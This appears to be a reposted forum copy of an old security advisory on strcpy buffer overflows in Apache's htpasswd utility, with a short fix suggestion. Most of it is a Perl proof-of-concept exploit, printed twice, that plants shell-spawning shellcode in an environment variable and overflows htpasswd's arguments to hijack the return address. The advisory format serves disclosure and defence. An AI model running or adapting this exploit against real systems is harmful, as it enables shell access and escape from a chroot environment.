Autor
[02] The problem
[03] Possibilities
[04] Solution
[05] Proof of Concept
[01] Short Description
Since htpasswd is part of apache software, here we got the apache description.
Apache has been the most popular web server on the Internet since
April of 1996. The October 2003 Netcraft Web Server Survey found that
more than 64% of the web sites on the Internet are using Apache, thus
making it more widely used than all other web servers combined.
[02] The problem
In apache/src/support/htpasswd.c were found lots of problems with strcpy.
Unchecked buffers with user and passwd variables may let an attacker
to take advantage of it.
[03] Possibilities
htpasswd is not setuid root by default. And it doesn't have any sense to
do it yourself. So you can't gain root by exploiting these bugs directly.
However, you can get out from apache's chroot environment since
htpasswd usually stays in its environment.
[04] Solution
Take a good look in strcpy functions and maybe change it for strncpy function.
[05] Proof of Concep
Código:
#!/usr/bin/perl
# Proof Of Concept exploit for htpasswd of Apache.
# Read the advisory for more information.
# - Luiz Fernando Camargo
# - foxtrot_at_flowsecurity.org
$shellcode = "\x31\xdb\x6a\x17\x58\xcd\x80\x31\xc0\x50\x68\x2f\x2f\x73\x68".
"\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80";
$target = "/usr/local/apache/bin/htpasswd";
$retaddr = 0xbffffffa - length($shellcode) - length($target);
print "using retaddr = 0x", sprintf('%lx',($retaddr)), "\r\n";
local($ENV{'XXX'}) = $shellcode;
$newret = pack('l', $retaddr);
$buffer = "A" x 272;
$buffer .= $newret x 4;
$buffer .= " ";
$buffer .= "B" x 290;
exec("$target -nb $buffer");
# Proof Of Concept exploit for htpasswd of Apache.
# Read the advisory for more information.
# - Luiz Fernando Camargo
# - foxtrot_at_flowsecurity.org
$shellcode = "\x31\xdb\x6a\x17\x58\xcd\x80\x31\xc0\x50\x68\x2f\x2f\x73\x68".
"\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80";
$target = "/usr/local/apache/bin/htpasswd";
$retaddr = 0xbffffffa - length($shellcode) - length($target);
print "using retaddr = 0x", sprintf('%lx',($retaddr)), "\r\n";
local($ENV{'XXX'}) = $shellcode;
$newret = pack('l', $retaddr);
$buffer = "A" x 272;
$buffer .= $newret x 4;
$buffer .= " ";
$buffer .= "B" x 290;
exec("$target -nb $buffer");
fuente: governmentsecurity.org
En línea
